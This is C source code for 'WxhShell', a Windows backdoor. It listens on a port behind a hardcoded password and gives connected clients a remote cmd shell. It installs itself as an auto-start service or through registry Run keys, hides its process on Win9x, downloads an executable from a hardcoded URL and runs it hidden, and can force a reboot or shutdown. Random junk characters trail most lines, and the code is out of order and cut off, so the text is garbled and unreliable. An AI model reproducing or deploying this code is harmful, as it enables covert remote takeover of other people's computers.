    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fjh,e  
    if(Boot(SHUTDOWN)) 4zhg#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <*[D30<  
    else { mRT$@xa]J  
    closesocket(wsh); 0dCg/wJx  
    ExitThread(0); p-f"4vH  
    } 'n/L1Fn  
    break; N}CeQ'l[R  
    } .1YiNmW=  
  // 获取shell Jk} Dj0o  
  case 's': { D* QZR;D#.  
    CmdShell(wsh); `G "&IQ8.  
    closesocket(wsh); 7u<C&Z/  
    ExitThread(0); P-?R\(QYtR  
    break; U0@Qc}y  
  } g]Z@_  
  // 退出 6H ^=\  
  case 'x': { Dks"(0g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;5&=I|xqe  
    CloseIt(wsh); S+7u,%n/  
    break; Z3O_K  
    } Lq]t6o ]  
  // 离开 LO@o`JF  
  case 'q': { bzyy;`;6Q~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6<Txkk  
    closesocket(wsh); a/TeBx#yG  
    WSACleanup(); NudY9 ~   
    exit(1); yn|U<Hxl~H  
    break; @M!nAQ8hY  
        } @&f~#Xe  
  } E-v^eMWX  
  } IN?6~O p  
~nRbb;M  
  // 提示信息 P2g}G4qf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CZDWEM}   
} b^R_8x  
  } =4#p|OZP  
l5FKw;=K}:  
  return; IiM=Z=2  
} 3XcFBFE  
&~V6g(9  
// shell模块句柄 MuF{STE>->  
int CmdShell(SOCKET sock) X86r`}  
{ ZZrv l4h  
STARTUPINFO si; ~S~4pK  
ZeroMemory(&si,sizeof(si)); e/R$Sfj]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qCy SL lp0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D_M73s!U  
PROCESS_INFORMATION ProcessInfo; Kb~i9x&  
char cmdline[]="cmd"; #k|f%!-Vo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); irF+(&q]jh  
  return 0; FZ5 Ad&".@  
} ~n;U5hcB  
O"9Or3w  
// 自身启动模式 Bmv5yc+;  
int StartFromService(void) |h-e+Wh1  
{ @+yjt'B  
typedef struct 8fA8@O}  
{ ,qwVDYJ  
  DWORD ExitStatus; kE854Ej  
  DWORD PebBaseAddress; 6vf<lmN  
  DWORD AffinityMask; P~h 0Ul  
  DWORD BasePriority; mbXW$E-&R2  
  ULONG UniqueProcessId; [ z,6K=  
  ULONG InheritedFromUniqueProcessId; .TO#\!KBv  
}   PROCESS_BASIC_INFORMATION; yX%NFXD  
Oid;s!-S6  
PROCNTQSIP NtQueryInformationProcess; O #5`mo  
r#NR3_@9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sI`oz|$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j>A=Wa7  
|Ge!;v  
  HANDLE             hProcess; ?*:BgaR_  
  PROCESS_BASIC_INFORMATION pbi; o?5;l`.L}  
g 9AA)Ykp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B4{F)Zb  
  if(NULL == hInst ) return 0; & Tkl-{I  
u-R;rf5%k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1AQ3<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I]Ws   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'o|=_0-7W  
qPn!.m$/  
  if (!NtQueryInformationProcess) return 0; _-z;  
o'=i$Eb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nZ4@g@e2  
  if(!hProcess) return 0; O'S9y  
ld7B{ ?]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k iu#THF  
^zKP5nzL  
  CloseHandle(hProcess); XGAR8=tic  
uQ3W =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ygc.0VKMR  
if(hProcess==NULL) return 0; LfMN 'Cb  
`=E4J2"  
HMODULE hMod; Erm]uI9`  
char procName[255]; { {+:Vy  
unsigned long cbNeeded; %<\tN^rP  
y$+_9VzYB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q3ebps9^  
wDKA1i%G  
  CloseHandle(hProcess);  h 3V; J  
>S@><[C  
if(strstr(procName,"services")) return 1; // 以服务启动 3w8v.J8q  
K_-S`-eH  
  return 0; // 注册表启动 dG)}H _  
} H,;9' *84  
+kx#"L:  
// 主模块 eKe[]/}e9  
int StartWxhshell(LPSTR lpCmdLine) 4o kZ  
{ %";ap8J04F  
  SOCKET wsl; +<'>~lDg  
BOOL val=TRUE; \Wb3JQ)  
  int port=0; TE-(Zil\  
  struct sockaddr_in door; ;RS^^vDm  
s:J QV  
  if(wscfg.ws_autoins) Install(); G&@_,y|  
R:U!HE8j   
port=atoi(lpCmdLine); U /jCM?~  
JnS@}m  
if(port<=0) port=wscfg.ws_port; ]Uul~T  
(S8hr,%n  
  WSADATA data; mV|Z5= f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~Hvf"bvK|  
})C}'!+]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =~'y'K]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }8Nr .gY  
  door.sin_family = AF_INET; @+Anp4%;Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @!B% ynrG  
  door.sin_port = htons(port); ad`7[fI  
=z#j9'n$@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g3c,x kaO  
closesocket(wsl); Z@bKYfGM  
return 1; `86})xz{  
} wj\kx\+  
\;0UP+  
  if(listen(wsl,2) == INVALID_SOCKET) { }T"&4Rvs2R  
closesocket(wsl); v\-7sgZR  
return 1; KA elq*  
} V-lp';bD  
  Wxhshell(wsl); Mc 6v  
  WSACleanup(); h! w d/jR  
WB\chb%ej#  
return 0; ^"+Vx9H"{  
/e7BW0$1  
} 8:k-]+#o  
V BjA$.  
// 以NT服务方式启动 4B@Ir)^(*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >uwd3XW5  
{ 4)d"}j  
DWORD   status = 0; +krDmU9(  
  DWORD   specificError = 0xfffffff; [N0"mE<  
(4IH%Ez){  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A5,(P$@ k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s[}cj+0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; afye$$X  
  serviceStatus.dwWin32ExitCode     = 0; ( \7Yo^  
  serviceStatus.dwServiceSpecificExitCode = 0; B dxV [SF  
  serviceStatus.dwCheckPoint       = 0; S{UEV7d:n0  
  serviceStatus.dwWaitHint       = 0; M+WN\.2pX  
c> ":g~w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); % {A%SDh  
  if (hServiceStatusHandle==0) return; Q6d>tqWhq  
?, cI!c`  
status = GetLastError(); p;)@R$*  
  if (status!=NO_ERROR) VTn6@z_ x  
{ vO8CT-)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j!K{1s[.y  
    serviceStatus.dwCheckPoint       = 0; EB8<!c ?  
    serviceStatus.dwWaitHint       = 0; ~Z5Wwp]a  
    serviceStatus.dwWin32ExitCode     = status; *P+8^t#Vp  
    serviceStatus.dwServiceSpecificExitCode = specificError; te&p1F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3H`ES_JL  
    return; .|GnTC q  
  } uk)D2.eS,  
a t%qowt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }kMKA.O"  
  serviceStatus.dwCheckPoint       = 0; 0f"la=6  
  serviceStatus.dwWaitHint       = 0; >(a[b@[K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Wz5Iv#Ez  
} 9KMtPBZ  
dwVo"_Yr  
// 处理NT服务事件,比如:启动、停止 | ?ma?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K&;/hdS=F  
{ F`57;)F  
switch(fdwControl) I G B)  
{ > 7 qZ\#  
case SERVICE_CONTROL_STOP: jNW/Biy4u  
  serviceStatus.dwWin32ExitCode = 0; TlJ'pG 4^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +kT o$_Wkz  
  serviceStatus.dwCheckPoint   = 0; 7QHrb'c  
  serviceStatus.dwWaitHint     = 0; o.])5i_HV  
  { 2Y%E.){  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 92M_Z1_w[  
  } v.Xmrry  
  return; wZ/ b;%I!  
case SERVICE_CONTROL_PAUSE: [#/@ v/`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qIk( ei  
  break; iH)-8Q  
case SERVICE_CONTROL_CONTINUE: 1p(9hVA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~4M?[E&  
  break; d*Kg_He-  
case SERVICE_CONTROL_INTERROGATE: =p&uQ6.i+  
  break; IvM>z03  
}; !Z%pdqo`.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 47^7S=  
} >{=~''d,w  
P;ovPyoO  
// 标准应用程序主函数 DaqpveKa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JvM:xy9  
{ E 7"`D\*  
MzIn~[\  
// 获取操作系统版本 EN)0b,ax  
OsIsNt=GetOsVer(); 2,G9~<t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'Jl73#3  
t#=FFQOt  
  // 从命令行安装 5Pd^Sew  
  if(strpbrk(lpCmdLine,"iI")) Install(); #LfoG?k1K  
D*!9K8<o  
  // 下载执行文件 %Sw hNn  
if(wscfg.ws_downexe) { DTC OhUIV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m]/s R3yF  
  WinExec(wscfg.ws_filenam,SW_HIDE); =xM:8 hm  
} vp`s< ;CA  
YI),yj  
if(!OsIsNt) { #80M+m  
// 如果时win9x,隐藏进程并且设置为注册表启动 nfS.0\z  
HideProc(); K7]QgfpSZ  
StartWxhshell(lpCmdLine); F^X:5g~K  
} &U y Q<O>  
else ?V4bz2#!1O  
  if(StartFromService()) R<e ~Cb-  
  // 以服务方式启动 ~P!%i9e_  
  StartServiceCtrlDispatcher(DispatchTable); 8Xz \,}$O  
else |:5[`  
  // 普通方式启动 1D)=q^\I  
  StartWxhshell(lpCmdLine); ?Z"<&tsZ  
'<&rMn  
return 0; p-B |Gr|  
} $'Qv {  
&#<>fT_  
i>z {QE  
^MUvd  
=========================================== =X=m_\=~@  
4_h?E:sBb  
KNqs=:i  
<6!/B[!O=  
6_O3/   
*."50o=T  
" F'^?s= QX  
YUQKy2  
#include <stdio.h> wU/BRz8I  
#include <string.h> =\i{dj  
#include <windows.h> M]A!jWtE  
#include <winsock2.h> YCo qe,5  
#include <winsvc.h> }Z8DVTpX}  
#include <urlmon.h> GA2kg7  
YY 8vhnw  
#pragma comment (lib, "Ws2_32.lib") OsNJ;B  
#pragma comment (lib, "urlmon.lib") %lSjC%Z'd  
f}VIkx]X"  
#define MAX_USER   100 // 最大客户端连接数 Mt%=z9OLq9  
#define BUF_SOCK   200 // sock buffer lAo S 9w  
#define KEY_BUFF   255 // 输入 buffer ++Fk8R/$U[  
6}GcMhU<r  
#define REBOOT     0   // 重启 .X{U\{c|a  
#define SHUTDOWN   1   // 关机 @;h$!w<  
fb D  
#define DEF_PORT   5000 // 监听端口 `8G {-_  
9Vtn62+  
#define REG_LEN     16   // 注册表键长度 6Wc'5t3  
#define SVC_LEN     80   // NT服务名长度  El |Y]f  
4>t=r\"4  
// 从dll定义API *&~wl(+O=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); < /9@RO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jT1^oXn@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gw?$.@L'I6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e6uVUzP4  
)G@/E^ySM  
// wxhshell配置信息 d@>1m:p  
struct WSCFG { peGh-  
  int ws_port;         // 监听端口 ;@V1*7y  
  char ws_passstr[REG_LEN]; // 口令 d^^EfWU  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z'o'd_g>I+  
  char ws_regname[REG_LEN]; // 注册表键名 e~NF}9#A  
  char ws_svcname[REG_LEN]; // 服务名 L~ e{Vv8UR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]$i~;f 8I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =Bb/Y`Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TqTz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n$y@a? al  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ::8c pUc`f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ($[)Tcq*~  
s.XLC43Rs  
}; |oV_7%mlu  
9O\N K:2  
// default Wxhshell configuration )9z3T>QW  
struct WSCFG wscfg={DEF_PORT, 29r(Y  
    "xuhuanlingzhe", =JfSg'7  
    1, Vl%jpjqP  
    "Wxhshell", (v1~p3H  
    "Wxhshell", oO][X  
            "WxhShell Service", (bON[6OGm  
    "Wrsky Windows CmdShell Service", x`VA3nE9  
    "Please Input Your Password: ", IHvrx:7  
  1, CyD)=e {  
  "http://www.wrsky.com/wxhshell.exe", 5nv1%48Ri  
  "Wxhshell.exe" nbdjk1E`~  
    }; 6;#Rd|  
]c\d][R N  
// 消息定义模块 % n~ 'UA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )_\q)t"=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vDcYz,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JFh_3r'  
char *msg_ws_ext="\n\rExit."; KIYs[0*k  
char *msg_ws_end="\n\rQuit."; #Iwxt3K  
char *msg_ws_boot="\n\rReboot..."; #Hi$squJ  
char *msg_ws_poff="\n\rShutdown..."; ^>m"j6`h,  
char *msg_ws_down="\n\rSave to "; xBg. QV  
)jHH-=JM  
char *msg_ws_err="\n\rErr!"; eD?f|bif  
char *msg_ws_ok="\n\rOK!"; &AhkP=Yw  
zHk7!|%Y  
char ExeFile[MAX_PATH]; TI}Y U  
int nUser = 0; hLF;MH@  
HANDLE handles[MAX_USER]; B):hm  
int OsIsNt; {`=k$1  
FgTWym_  
SERVICE_STATUS       serviceStatus; ]Ofs, U^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pj{Y  
22FHD4  
// 函数声明 mk]8}+^.  
int Install(void); raCgctYVq  
int Uninstall(void); D%!GY1wdn  
int DownloadFile(char *sURL, SOCKET wsh); !FHm.E_>  
int Boot(int flag); c!dc`R  
void HideProc(void); 0*XCAnJ^_  
int GetOsVer(void); <zt124y-6  
int Wxhshell(SOCKET wsl); $#/f+kble  
void TalkWithClient(void *cs); ^s_7-p])(  
int CmdShell(SOCKET sock); ] 8dzTEjk  
int StartFromService(void); ']DUCu  
int StartWxhshell(LPSTR lpCmdLine); yNOoAnGT W  
+S ],){  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uc d~-D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qkb=KS%z  
55Ag<\7  
// 数据结构和表定义 }b=Cv?Zg$m  
SERVICE_TABLE_ENTRY DispatchTable[] = _q=ua;I&  
{ LGT?/ gup  
{wscfg.ws_svcname, NTServiceMain}, 5dkXDta[G  
{NULL, NULL} XN}^:j_2  
}; P9jPdls  
?3a:ntX h  
// 自我安装 }0~X)Vgm(  
int Install(void) 2VaKt4+`  
{ qA5 Ug  
  char svExeFile[MAX_PATH]; ^/fasl$#  
  HKEY key; Usq.'y/ o  
  strcpy(svExeFile,ExeFile); )%vnl~i!  
<BjrW]pM  
// 如果是win9x系统,修改注册表设为自启动 ][`%vj9r  
if(!OsIsNt) { E_T!|Q.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @^Yr=d ba  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a9y+FCA  
  RegCloseKey(key); }va>jfy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yoG*c%3V?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  4}F~h  
  RegCloseKey(key); 6QAhVg: A  
  return 0; ppzQh1  
    } y85R"d  
  } 6|Xe ],u  
} s"B2Whe  
else { e\r%"~v  
?@CbaX~+K  
// 如果是NT以上系统,安装为系统服务 P(cy@P,D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )W*A[c 2  
if (schSCManager!=0) #Fz/}lO  
{ M.\V/OX  
  SC_HANDLE schService = CreateService 4/AE;y X  
  ( OxqkpK&  
  schSCManager, SVBo0wvz-  
  wscfg.ws_svcname, U X%J?;g  
  wscfg.ws_svcdisp, 45;ey }8  
  SERVICE_ALL_ACCESS, KZ@'NnQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n}/4em?  
  SERVICE_AUTO_START, M< /  
  SERVICE_ERROR_NORMAL, tn}MKo  
  svExeFile, pD;fFLvN  
  NULL, W_lXY Z<  
  NULL, .I.B,wH8  
  NULL, 2]=`^rC*  
  NULL, n+S&[Y  
  NULL `#"xgOSP>  
  ); v?0F  
  if (schService!=0) ?z&5g-/b  
  { ^.PCQ~Ql  
  CloseServiceHandle(schService); _{/[&vJ  
  CloseServiceHandle(schSCManager); G_<4% HM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0+F--E4  
  strcat(svExeFile,wscfg.ws_svcname); !<?<f db  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %Ni"*\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5GbC}y>  
  RegCloseKey(key); xJ9aFpTC  
  return 0; LkXho>y  
    } ;Vpp1mk|  
  }  "3/&<0k  
  CloseServiceHandle(schSCManager); )6(|A$~C+  
} 3,-[lG@o  
} >:HmIW0PLe  
[Qcht,\^v  
return 1; Z@} qL1  
} bvS6xU- J  
3~:9ZWQ/  
// 自我卸载 N-W>tng_x  
int Uninstall(void) H$.K   
{ LVT:oIQ  
  HKEY key; Kc, i$FH  
L~AU4Q0o  
if(!OsIsNt) { "SRS{-p0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aK/fZ$Qc  
  RegDeleteValue(key,wscfg.ws_regname); ")<5 VtV  
  RegCloseKey(key); /36gf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %j.n^7i]^:  
  RegDeleteValue(key,wscfg.ws_regname); I-#7Oq:Np  
  RegCloseKey(key); )D ~ 5  
  return 0; K&eT*JW>  
  } aYn5AP'PH  
} k-^le|n9  
} xpc{#/Nk  
else { p6!5}dD(  
Ft38)T"2R\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zwz_K!229  
if (schSCManager!=0) 5?Pf#kq  
{ xkv%4H>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \&b 9  
  if (schService!=0) HQ]mDo  
  { vn!5@""T  
  if(DeleteService(schService)!=0) { 7hTpjox2  
  CloseServiceHandle(schService); %z=:P{0UQ  
  CloseServiceHandle(schSCManager); S`$%C=a.  
  return 0; *V4%&&{  
  } p]ujip  
  CloseServiceHandle(schService); lv9Tq5C  
  } g9fYt&  
  CloseServiceHandle(schSCManager); 3!$+N\ #w  
} ,H%[R+)  
} s1h|/7gG  
e^oGiL ~  
return 1; ="v`W'Pd  
} 8|^&~Rl4  
{Wi*B(  
// 从指定url下载文件 +80bG(I_  
int DownloadFile(char *sURL, SOCKET wsh) _VVq&t}  
{ NU3TXO  
  HRESULT hr; 1Iy1xiP  
char seps[]= "/"; `a83bF35  
char *token; cc3B}^@p=  
char *file; >KL=(3:":p  
char myURL[MAX_PATH]; v0VQ4>  
char myFILE[MAX_PATH]; l5.k2{'  
w^Yo)"6  
strcpy(myURL,sURL); /# ]eVD  
  token=strtok(myURL,seps); :"MHmm=uU8  
  while(token!=NULL) ge(,>xB  
  { >$TvCw  
    file=token; )obgEJ7Y`l  
  token=strtok(NULL,seps); \pfa\, rW  
  } !^&VZh  
l _%<U  
GetCurrentDirectory(MAX_PATH,myFILE); ]J'TebP=L5  
strcat(myFILE, "\\"); r5N TTc  
strcat(myFILE, file); 0FtwDM))  
  send(wsh,myFILE,strlen(myFILE),0); kl]MP}wc  
send(wsh,"...",3,0); '?| 1\j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )WbWp4  
  if(hr==S_OK) !p).3Kx0  
return 0; D\b$$z]q  
else 8-NycG&)  
return 1; Lc5zu7ncg  
""jW'%wR  
} Te L&6F$  
E I(e3  
// 系统电源模块 l=p_  
int Boot(int flag) @, GL&$Y:W  
{ 'fl< ac,.  
  HANDLE hToken; OPDT:e86Y=  
  TOKEN_PRIVILEGES tkp; `DF49YP"~  
JR#4{P@A  
  if(OsIsNt) { w(&EZDe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D\&S {  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oG1zPspL  
    tkp.PrivilegeCount = 1; '"E!av>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !e$ZOYe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {%G9iOV.  
if(flag==REBOOT) { i7-~"g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^J#*sn  
  return 0; pT->qQ3;  
} =~hb&  
else { A~PR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TT/H"Ri}Jp  
  return 0; #| _VN %!  
} m..ajYSQ  
  } &{.IUg  
  else { Z8ea)_ {#  
if(flag==REBOOT) { G|f9l?p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cVW7I  
  return 0; zplv.cf#q  
} RB+Jp  
else { Hvm}@3F|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h;jO7+W  
  return 0; 3 R+e  
} dEtjcId  
} hg" i;I  
(T#$0RFq  
return 1; aE5-b ub c  
} "ktuq\a@  
mG\QF0h  
// win9x进程隐藏模块 JkJ @bh Eu  
void HideProc(void) !vAmjjB  
{ bPxL+ +  
49Jnp>h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aYaEy(m  
  if ( hKernel != NULL ) ZQE1]ht  
  { FSA%,b; U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w-pgtO|Us  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ML905n u  
    FreeLibrary(hKernel); <3{MS],<<  
  } 6i[Ts0H%<!  
Q 84t=  
return; C12UZE;  
} "TJu<O"2  
89LD:+p/  
// 获取操作系统版本 {oqbV#/&  
int GetOsVer(void) r& a[ ?  
{ wu.l-VmGp)  
  OSVERSIONINFO winfo; |MZ1j(_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~-zTY&c_  
  GetVersionEx(&winfo); RJWO h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bXnUz?1!d  
  return 1; (&e!u{I  
  else fIoc)T  
  return 0; H]/ ~ #a  
} M_ukG~/  
*lSu=dk+  
// 客户端句柄模块 T/'z,,Y  
int Wxhshell(SOCKET wsl) QXZXj#`  
{ jU&m*0nL  
  SOCKET wsh; =PRQ3/?5  
  struct sockaddr_in client; ,- AF8BP  
  DWORD myID; Czjb.c:a.Y  
L\2"1%8Wj  
  while(nUser<MAX_USER) H[~ D]RG}'  
{ f(|k0$EIu  
  int nSize=sizeof(client); [ey# ,&T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  `M I;.t  
  if(wsh==INVALID_SOCKET) return 1; uB  I/3aQ  
g{]6*`/Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r1r$y2v~  
if(handles[nUser]==0) ?wB_fDb}  
  closesocket(wsh); ~b~Tq  
else j9h/`Bn  
  nUser++; 0DicrnH8  
  } d{7ZO#E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f7_( C0d  
TGF$zvd  
  return 0; 4^W!,@W  
} z{W C w  
{nKw<F2  
// 关闭 socket sG u.G  
void CloseIt(SOCKET wsh) iM<$ n2t  
{ ~!Nj DDk  
closesocket(wsh); Q-oDmjU  
nUser--; <,)R`90_X6  
ExitThread(0); K+}0:W=P  
} =>;&M)+q  
7%  D4  
// 客户端请求句柄 &gp&i?%X9b  
void TalkWithClient(void *cs) Vg NB^w  
{ Ur])*#  
qYA~Os1e  
  SOCKET wsh=(SOCKET)cs; %nZ:)J>kz  
  char pwd[SVC_LEN]; +Hu\b&g  
  char cmd[KEY_BUFF]; -V}oFxk]q  
char chr[1]; JVIFpN"`  
int i,j; s0iG |vw  
tB4mhX|\  
  while (nUser < MAX_USER) { ~$u9  
g=t`3X#d  
if(wscfg.ws_passstr) { 8ao-]QoMZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i.t%a{gL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %R >n5m  
  //ZeroMemory(pwd,KEY_BUFF); ,-Hj  
      i=0; 5GM-*Ak@  
  while(i<SVC_LEN) { !h.hJt  
xxur4@p!  
  // 设置超时 y > =Y  
  fd_set FdRead; {32m&a  
  struct timeval TimeOut; hWy@?r.  
  FD_ZERO(&FdRead); s`$}xukT  
  FD_SET(wsh,&FdRead); fmixWL7.Zg  
  TimeOut.tv_sec=8; (\F9_y,6*\  
  TimeOut.tv_usec=0; 1b%Oi.;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (I~   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $U_(e:m}f  
(I$%6JO:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m#'eDO:  
  pwd=chr[0]; UQu6JkbLL  
  if(chr[0]==0xd || chr[0]==0xa) { dx@dnWRT,  
  pwd=0; &G"s !:  
  break; /0/ouA>+  
  } PZ|I3z  
  i++; _^& q,S  
    } N-K/jY  
!'N@ZZ  
  // 如果是非法用户,关闭 socket B@(d5i{h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %>&ex0j]  
} D"pT?\kO  
z6R|1L 1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p-i Fe\+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _{jC?rzb  
Z^>4qf,k  
while(1) { D3 C7f'  
fQ5v?(  
  ZeroMemory(cmd,KEY_BUFF); rn|]-^ku/  
?>B?*IK!  
      // 自动支持客户端 telnet标准   t"4* ]S  
  j=0; p3Ux%/ZqPV  
  while(j<KEY_BUFF) { 1b3 a(^^E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g[(@@TiG  
  cmd[j]=chr[0]; |#_p0yPy  
  if(chr[0]==0xa || chr[0]==0xd) { w x]?D%l  
  cmd[j]=0; Q'n+K5&p  
  break; 23tX"e  
  } _z#" BN  
  j++; ~3.*b% ,  
    } q KD  
vL@<l^`$0  
  // 下载文件 _3aE]\O[  
  if(strstr(cmd,"http://")) { Ca0s m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `$/a-K}  
  if(DownloadFile(cmd,wsh)) 2jyWkAP'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Br!;Ac&N  
  else HS <Jp44  
